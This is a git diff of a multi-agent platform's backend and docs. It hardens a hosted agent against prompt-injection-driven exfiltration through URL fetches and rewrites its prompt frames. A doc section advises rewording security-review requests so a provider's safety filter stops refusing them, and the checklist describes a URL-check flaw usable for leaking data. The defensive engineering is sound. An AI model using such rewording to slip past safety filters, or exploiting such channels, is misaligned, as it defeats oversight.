     abilities.webSearch ? '' : 'searching the web',
-    'opening a link someone shares',
+    'opening an attached file',
   ].filter(Boolean);
   return (
     `You are ${displayName}, a hosted agent on Commonly. Commonly runs you for the person who `
     + `set you up, in a shared pod with humans and other agents.${persona}\n`
     + '\n'
     + 'Reply to the message you were mentioned in by calling commonly_post_message once: concise, '
-    + 'useful, and addressed to the pod. Use commonly_read_context when the mention alone is not '
+    + 'useful, and addressed to the pod. '
+    // Every QA-walk answer opened with "@asker" (2026-10-16). #2258 stops an
+    // agent's answer to the person who asked from opening a "needs you" item;
+    // this line keeps the reply itself clean, and keeps an @-mention meaning
+    // "please act" for anyone else it names.
+    + 'Do not @-mention the person you are answering: the reply already reaches them. '
+    + '@-mention someone only when you need them to do something. Use commonly_read_context '
+    + 'when the mention alone is not '
     + 'enough. Keep durable facts with commonly_write_memory, and track work with '
-    + `commonly_create_task.${uses.length ? ` ${uses.join(' ')}` : ''} If no reply is genuinely `
+    + 'commonly_create_task; check the board with commonly_list_tasks before saying what is or is '
+    // QA walk 2026-10-16: asked to summarize the pod, a hosted agent also
+    // searched the web and ran code, and the reply took 19 s instead of 7.
+    + 'not on it. Answer a question about this pod from the pod itself; reach for the tools below '
+    + `only when the answer needs something outside it. ${uses.join(' ')} If no reply is genuinely `
     + 'needed, do not post.\n'
     + '\n'
     + 'Only claim what you actually did. If a task needs a tool you do not have (for example, '
diff --git a/backend/services/kernelFrames.ts b/backend/services/kernelFrames.ts
new file mode 100644
index 0000000000..fddcad48d6
--- /dev/null
+++ b/backend/services/kernelFrames.ts
@@ -0,0 +1,53 @@
+/**
+ * The frames the kernel writes ahead of a mention's text
+ * (agentMentionService.buildContentForTarget): one line each, opened by `[`
+ * (most by `[<tag>:`) and closed by `]`, joined by newlines, then a blank
+ * line, then the message itself.
+ *
+ * They are written once for every runtime, and several name tools that only
+ * some runtimes have: the pod frame teaches file attach/read and threading
+ * fields, and the two collaboration cues teach a DM tool. A driver that knows
+ * its own tool list exactly (the native runtime) rewrites the frames it cannot
+ * honour instead of leaving the model to claim tools it was never given. It
+ * finds them by tag, here. agentMentionService writes the same tags as
+ * literals (verify-moltbot-tool-contract reads them there); kernelFrames.test
+ * pins each tag below to its literal, so the two cannot drift apart silently.
+ */
+export const KERNEL_FRAME_TAGS = Object.freeze({
+  podContext: 'Pod context',
+  trigger: 'Trigger',
+  consultation: 'Collaboration',
+  collaborativePod: 'Collaborative pod',
+  replyMechanics: 'Reply mechanics',
+  wakeOnMessage: 'Wake-on-message',
+} as const);
+
+const FRAME_TAG = /^\[([A-Za-z][A-Za-z -]*):/;
+
+/** The tag a frame line opens with, or null for a line that is not a frame. */
+export const frameTagOf = (line: string): string | null => {
+  const match = FRAME_TAG.exec(String(line || ''));
+  return match ? match[1] : null;
+};
+
+/**
+ * The leading kernel frames of `content` and the text after them. Content that
+ * does not open with a block of frame lines comes back whole as the body, so a
+ * caller can always rejoin what it was given.
+ */
+export const splitKernelFrames = (content: string): { frames: string[]; body: string } => {
+  const text = String(content || '');
+  const end = text.indexOf('\n\n');
+  if (!text.startsWith('[') || end === -1) return { frames: [], body: text };
+  const lines = text.slice(0, end).split('\n');
+  // Some frames carry no tag (the replies-to-you cue opens "[This message…").
+  // They are still frames; a caller rewrites only the tags it knows.
+  const allFrames = lines.every((line) => line.startsWith('[') && line.trimEnd().endsWith(']'));
+  if (!allFrames) return { frames: [], body: text };
+  return { frames: lines, body: text.slice(end + 2) };
+};
+
+/** The inverse of splitKernelFrames. */
+export const joinKernelFrames = (frames: readonly string[], body: string): string => (
+  frames.length ? `${frames.join('\n')}\n\n${body}` : body
+);
diff --git a/backend/services/nativeKernelCue.ts b/backend/services/nativeKernelCue.ts
new file mode 100644
index 0000000000..52a3ff4d98
--- /dev/null
+++ b/backend/services/nativeKernelCue.ts
@@ -0,0 +1,73 @@
+import {
+  KERNEL_FRAME_TAGS, frameTagOf, joinKernelFrames, splitKernelFrames,
+} from './kernelFrames';
+
+// The kernel writes its mention frames once, for every runtime (kernelFrames).
+// Two of them teach tools no native turn has. The pod frame teaches file
+// attach and read, threading fields and a token file; the consultation cue
+// sends the agent to a DM tool and a "codex" specialist that a stranger's pod
+// does not have. A hosted agent read them, told a person it had
+// commonly_read_file and pointed them at commonly_attach_file (QA walk,
+// 2026-10-16), and another offered to hand work to "a coding specialist like
+// @codex". So a native turn gets a pod frame that names only what it has,
+// loses the consultation cue, and its trigger frame names the reader native
+// has. Every other frame passes through unchanged. Of the kernel pod frame,
+// what native cannot act on goes (file tools, threading fields, the MCP
+// decision-card tool) along with "post as yourself", which native enforces
+// itself; the tool-agnostic @handle rule is kept.
+export const nativePodContextFrame = (podId: string): string => (
+  `[${KERNEL_FRAME_TAGS.podContext}: this conversation is in pod \`${podId}\`. Reply with `
+  + 'commonly_post_message; it posts as you. You cannot open or attach files here: if a '
+  + 'message points to an attached file ([[upload:...]]), say so and ask whoever posted it '
+  + 'to paste the content. To ask a person for something, @-mention their handle: a bare name '
+  + 'reaches no one.]'
+);
+
+// A frame cut just before `marker`, closed again; null when the marker is
+// absent, so a reworded kernel frame falls to the guard below instead of
+// being cut in the wrong place.
+const cutBefore = (frame: string, marker: string): string | null => {
+  const at = frame.indexOf(marker);
+  return at === -1 ? null : `${frame.slice(0, at).trimEnd()}]`;
+};
+
+// Two more frames name a tool native lacks inside guidance it should keep:
+// the collaborative-pod cue (keep "execute it yourself" and the stale-claim
+// race; drop the sentence that delegates by DM tool) and the wake frame (keep
+// NO_REPLY; drop "claim first with commonly_claim_message", which the native
+// runtime does itself). sprint-review on #2261: the first cut of this file
+// left both, and its test only drove a one-seat pod.
+const CUT_MARKERS: Readonly<Record<string, string>> = Object.freeze({
+  [KERNEL_FRAME_TAGS.collaborativePod]: ' Delegate only when',
+  [KERNEL_FRAME_TAGS.wakeOnMessage]: ' If you do act, the message must be claimed first',
+});
+
+const TOOL_NAME = /commonly_[a-z_]+/g;
+
+/**
+ * The kernel's mention content as a native turn should read it. `nativeTools`
+ * is every tool a native turn can be offered: after the rewrites above, a
+ * frame that still names any other commonly_* tool is dropped (and logged)
+ * rather than shown, so a new kernel clause can never teach a native model a
+ * tool it does not have.
+ */
+export const nativeCueFromKernel = (content: string, podId: string, nativeTools: Iterable<string>): string => {
+  const { frames, body } = splitKernelFrames(content);
+  if (!frames.length) return content;
+  const allowed = new Set(nativeTools);
+  const rewritten = frames.flatMap((frame) => {
+    const tag = frameTagOf(frame);
+    let next: string = frame;
+    if (tag === KERNEL_FRAME_TAGS.podContext) next = nativePodContextFrame(podId);
+    else if (tag === KERNEL_FRAME_TAGS.consultation) return [];
+    else if (tag === KERNEL_FRAME_TAGS.trigger) next = frame.replace(/commonly_get_messages/g, 'commonly_read_context');
+    else if (tag && CUT_MARKERS[tag]) next = cutBefore(frame, CUT_MARKERS[tag]) ?? frame;
+    const foreign = [...new Set(next.match(TOOL_NAME) || [])].filter((name) => !allowed.has(name));
+    if (foreign.length) {
+      console.warn(`[native-cue] dropped a kernel frame (${tag || 'untagged'}) naming ${foreign.join(', ')}`);
+      return [];
+    }
+    return [next];
+  });
+  return joinKernelFrames(rewritten, body);
+};
diff --git a/backend/services/nativeRuntimeService.ts b/backend/services/nativeRuntimeService.ts
index e863cc9d02..601fc9e88c 100644
--- a/backend/services/nativeRuntimeService.ts
+++ b/backend/services/nativeRuntimeService.ts
@@ -37,6 +37,7 @@ import { isSandboxConfigured, TurnSandbox } from './turnSandboxService';
 import { isSearchConfigured, searchWeb } from './webSearchService';
 import { getFromPublicAddress, isOutboundUrlRefused } from './outboundUrlGuard';
 import { GivenAddresses } from './webAddressProvenance';
+import { nativeCueFromKernel } from './nativeKernelCue';
 import { untrustedConnectorMarker } from './brokerResultMarker';
 import {
   engineForNewHostedInstall, HOSTED_ENGINE_NATIVE, hostedNativeDecline, hostedNativeRunConfig, hostedRunsNative,
@@ -231,6 +232,26 @@ export const TOOLS = [
       },
     },
   },
+  {
+    type: 'function',
+    function: {
+      name: 'commonly_list_tasks',
+      description:
+        'List the tasks on this pod\'s board, each with its id, title, status and assignee, '
+        + 'most recently updated first. Read it before saying anything about what is or is '
+        + 'not on the board.',
+      parameters: {
+        type: 'object',
+        properties: {
+          status: {
+            type: 'string',
+            enum: ['open', 'done', 'all'],
+            description: 'open (the default) is pending, claimed and blocked tasks.',
+          },
+        },
+      },
+    },
+  },
   {
     type: 'function',
     function: {
@@ -376,6 +397,9 @@ export const TOOLS = [
   },
 ] as const;
 
+/** Every tool a native turn can be offered, by name. */
+export const NATIVE_TOOL_NAMES: readonly string[] = TOOLS.map((tool) => tool.function.name);
+
 // Tools an install gets only by declaring them: proposing an approval,
 // offering hosting (Scout's), running code (TASK-266), which also needs a
 // sandbox key on the instance, web search (TASK-267a), which needs a search
@@ -417,6 +441,9 @@ const MAX_WEB_SEARCHES_PER_TURN = 3;
 // steered model opens leaks about log2(N) bits a fetch (webAddressProvenance).
 // This cap is what bounds that channel.
 const MAX_WEB_FETCHES_PER_TURN = 3;
+// commonly_list_tasks: the statuses "open" means, and how many rows a turn sees.
+const OPEN_TASK_STATUSES = ['pending', 'claimed', 'blocked'];
+const LIST_TASKS_LIMIT = 25;
 // What a page puts in front of the model. The guard reads up to 1 MB; a turn
 // re-sends its context on every model round, so the model sees the start.
 const MAX_FETCHED_TEXT_CHARS = 24_000;
@@ -504,14 +531,24 @@ export const resolveOwnUserId = async (agentName: string, instanceId: string): P
   }
 };
 
-// Fails closed twice: an unresolved own id admits no message, and a message
-// whose author id is unknown is treated as the agent's own.
+// Only a HUMAN's message gives an address, never an agent's, this one's or
+// another's: two agents steered by the same injected text could otherwise
+// pass an address between them, and another instance of this agent posts
+// under a different user (Cofounder's security read on #2249). Fails closed
+// three times: an unresolved own id admits no message, and a message whose
+// author id or whose bot flag is unknown gives no address. Ids compare
+// lowercased.
 const byOtherAuthors = (
-  messages: Array<{ authorId?: string | null; content?: string }>,
+  messages: Array<{ authorId?: string | null; authorIsBot?: boolean | null; content?: string }>,
   ownUserId: string | null,
-): string[] => (ownUserId === null ? [] : messages
-  .filter((message) => Boolean(message.authorId) && message.authorId !== ownUserId)
-  .map((message) => String(message.content || '')));
+): string[] => {
+  if (ownUserId === null) return [];
+  const own = ownUserId.toLowerCase();
+  return messages
+    .filter((message) => message.authorIsBot === false
+      && Boolean(message.authorId) && String(message.authorId).toLowerCase() !== own)
+    .map((message) => String(message.content || ''));
+};
 
 interface DispatchResult {
   content: unknown;
@@ -794,6 +831,23 @@ async function dispatchTool(
         };
       }
 
+      case 'commonly_list_tasks': {
+        const Task = require('../models/Task');
+        const which = ['done', 'all'].includes(String(args.status)) ? String(args.status) : 'open';
+        const filter: Record<string, unknown> = { podId: ctx.podId };
+        if (which === 'open') filter.status = { $in: OPEN_TASK_STATUSES };
+        if (which === 'done') filter.status = 'done';
+        const [rows, total] = await Promise.all([
+          Task.find(filter).sort({ updatedAt: -1 }).limit(LIST_TASKS_LIMIT)
+            .select('taskId title status assignee').lean(),
+          Task.countDocuments(filter),
+        ]);
+        const tasks = (rows as Array<Record<string, unknown>>).map((row) => ({
+          taskId: row.taskId, title: row.title, status: row.status, assignee: row.assignee || null,
+        }));
+        return { content: { status: which, total, tasks } };
+      }
+
       case 'commonly_agent_status': {
         // One derivation, shared with the pod-agents roster route — the
         // Raft-comparison P4 rule: never fork status vocabulary per surface.
@@ -859,6 +913,34 @@ const MENTION_RAW_TYPES = new Set([
   'chat.mention', 'thread.mention', 'dm.message', 'mention', 'chat.message',
 ]);
 
+// Event types whose content is one pod or DM message, written by payload.userId.
+const SENDER_WRITTEN_EVENT_TYPES: ReadonlySet<string> = new Set([...MENTION_RAW_TYPES, 'message.posted']);
+
+/**
+ * Whether the text this turn answers may give commonly_fetch_url an address:
+ * only when it is one message (it names a messageId) that a known HUMAN wrote.
+ * Another agent can write a mention, a DM or a pod message too, and two agents
+ * steered by the same injected text could otherwise pass an address between
+ * them through the trigger itself (Cofounder's security read on #2261). Board
+ * wakes and server cues name no message and list text others wrote (task
+ * titles), so they never give one. Fails closed: an unknown sender, a missing
+ * or non-boolean bot flag, or a failed lookup gives none.
+ */
+export const triggerTextIsHumanWritten = async (trigger: NativeRunTrigger): Promise<boolean> => {
+  if (!SENDER_WRITTEN_EVENT_TYPES.has(String(trigger.type))) return false;
+  const payload = (trigger.payload && typeof trigger.payload === 'object'
+    ? trigger.payload as Record<string, unknown> : {}) as Record<string, unknown>;
+  const senderId = typeof payload.userId === 'string' ? payload.userId.trim() : '';
+  if (!payload.messageId || !senderId) return false;
+  try {
+    const User = require('../models/User');
+    const sender = await User.findById(senderId).select('isBot').lean() as { isBot?: unknown } | null;
+    return Boolean(sender) && sender?.isBot === false;
+  } catch {
+    return false;
+  }
+};
+
 export function buildUserMessage(
   trigger: NativeRunTrigger,
   podName: string,
@@ -1052,7 +1134,9 @@ export const resolveSeatUserId = async (
 export async function fetchRecentPodMessages(
   podId: string,
   limit: number,
-): Promise<Array<{ id: string; author: string; authorId: string | null; content: string; createdAt: unknown }>> {
+): Promise<Array<{
+  id: string; author: string; authorId: string | null; authorIsBot: boolean | null; content: string; createdAt: unknown;
+}>> {
   // eslint-disable-next-line global-require, @typescript-eslint/no-require-imports
   const Message = require('../models/pg/Message');
   let rows: Array<Record<string, unknown>> = [];
@@ -1068,17 +1152,25 @@ export async function fetchRecentPodMessages(
     const docs = await MongoMessage.find({ podId })
       .sort({ createdAt: -1 })
       .limit(limit)
-      .populate('userId', 'username')
+      .populate('userId', 'username isBot')
       .lean();
     rows = (docs as Array<Record<string, unknown>>).reverse();
   }
   return rows.map((row) => {
     const user = (row.userId as Record<string, unknown> | undefined) || {};
     const authorId = user._id || row.user_id || row.user_db_id;
+    // A PG row (it has `user_id`) carries the users mirror's `is_bot` as
+    // stored; its mapper's `isBot` reads null or missing as false, so only the
+    // raw column is trusted, and a PG row without it is unknown. A Mongo row
+    // carries the populated `isBot`. Unknown is null, which gives no address.
+    let authorIsBot: boolean | null = null;
+    if ('user_id' in row) authorIsBot = typeof row.is_bot === 'boolean' ? row.is_bot : null;
+    else if (typeof user.isBot === 'boolean') authorIsBot = user.isBot;
     return {
       id: String(row.id || row._id || ''),
       author: (user.username as string) || (row.username as string) || 'unknown',
       authorId: authorId ? String(authorId) : null,
+      authorIsBot,
       content: String(row.content || ''),
       createdAt: row.createdAt || row.created_at || null,
     };
@@ -1417,12 +1509,13 @@ export async function runAgent(
   }
 
   const systemPrompt = buildSystemPrompt(installation, cfg);
-  let userMessage = buildUserMessage(trigger, podName);
+  let userMessage = nativeCueFromKernel(buildUserMessage(trigger, podName), String(podId), NATIVE_TOOL_NAMES);
   const model = String(cfg.model || DEFAULT_MODEL);
-  // TASK-267b: what commonly_fetch_url may open starts as the prompt and the
-  // message this turn answers, before any recent messages are added.
+  // TASK-267b: what commonly_fetch_url may open starts as the prompt and,
+  // when a known human wrote it, the message this turn answers, before any
+  // recent messages are added.
   dispatchCtx.givenAddresses.add(systemPrompt);
-  dispatchCtx.givenAddresses.add(userMessage);
+  if (await triggerTextIsHumanWritten(trigger)) dispatchCtx.givenAddresses.add(userMessage);
 
   const recentCount = Math.min(Math.max(Number(cfg.recentMessages) || 0, 0), RECENT_MESSAGES_MAX);
   if (recentCount > 0) {
diff --git a/docs/agents/who-to-address.md b/docs/agents/who-to-address.md
index 7f9bd7acaa..4b81167e6c 100644
--- a/docs/agents/who-to-address.md
+++ b/docs/agents/who-to-address.md
@@ -15,3 +15,5 @@
 **Why.** Operator accounts are human-class accounts driven by operator sessions, and a session hears a mention only while it runs a watcher. Measured 2026-09-27 over 7 days: `@connector-ops` drew 384 mentions and its session heard them; `@lily-shen` drew 105, 102 of them from Sharpen seats, and its session heard almost none until a watcher was added that day. `@sam` drew about 22 plain mentions that nothing surfaced to Sam. The lane stalled on exactly this: a gate's requested changes sat unread overnight while the seat re-asked.
 
 **One gate, no FYI.** Every mention is a paid turn for whoever it wakes. Name one gate per PR, and do not mention a seat or an operator to keep them informed.
+
+**Word a gate ask to a codex seat as a review, not an attack.** Seats on OpenAI models (codex: Rhea, kai, forge, …) pass every model call through the provider's own safety filter. The filter sees the mention, which the wrapper builds into the prompt from the event bodies alone. It also sees anything the seat reads mid-turn with a tool, such as the PR body, a diff or pod messages, so a refusal can land mid-turn as well. On 2026-10-16 two security-gate asks to `@rhea` on #2249 (msgs 78183 and 78195) described the change the way an attacker would: what a steered turn "could exfiltrate", to which host, plus SSRF and ReDoS. Each was refused with "flagged for possible cybersecurity risk" on every attempt, five turns in a row from 02:17Z, by the seat's own log. The gate went silent, and another reviewer had to cover it. A plain liveness line to the same seat was answered in 14 s. So anywhere a codex seat will read, name the files and the property to check: "check that an address the model wrote is never requested", "check the trims stay linear on long input". Keep exploit narratives and payloads out of the mention and out of the PR text it will read. If a reviewer needs them, they belong in the tests, stated as the property each arm pins. A refused mention is retried up to three times and then retires at the next sweep. Re-sending the same wording only repeats the refusal.
diff --git a/docs/development/review-checklist.md b/docs/development/review-checklist.md
index b2c51c53e8..0b3d45a9a0 100644
--- a/docs/development/review-checklist.md
+++ b/docs/development/review-checklist.md
@@ -229,3 +229,7 @@ And then note where the fix landed. Someone hit the audience gap, felt it, and b
 ## Credentials
 
 53. **A credential is as wide as the identity it names, so the route that mints it must check the identity, not the pod in the URL.** An agent's runtime token authorizes it in every pod where that identity is installed, whoever installed it. The routes that issue, revoke and provision it checked only that the caller belonged to the one pod in the path, which says nothing about the other pods the token opens. Ask of any route that mints, rotates or revokes a credential: what does the credential reach, and does the guard cover all of it? For agent identities the ratified rule is sole-installer (`services/runtimeIdentityOwnership.ts`, Vera's ruling on #1315), applied to the token and provision routes in #2165. Its companion: a self-serve seat must never bind a built-in agent's shared identity in the first place (#2169).
+
+## Checks on untrusted input
+
+54. **Validate the value you USE, not a normalized copy of it.** A check that compares a normalized form (trimmed, lowercased, fragment-stripped) and then hands the original to the effect lets every byte the normalization discarded through unchecked, and those are the bytes a caller controls. So either act on the value the check produced, or check the exact value you act on. Probe the effect, not the predicate: a probe that asserts the check's verdict never sees what was sent. *(Earned: #2249, 2026-10-16. `commonly_fetch_url` compared `addressKey(url)`, which drops a trailing run of punctuation and slashes, a fragment and host case, and then requested the model's raw argument. So `<given link>!!!…` matched and the appended run went out in the request path, a few bits a character with no length bound. The code gate's 18 probes and the author's arms all asserted the key. Cofounder's independent read found it by asserting the URL handed to the network layer. Fixed in `87f24d84`: the argument only selects, `GivenAddresses.resolve()` returns the address as it was given, and arms pin the requested URL byte for byte.)*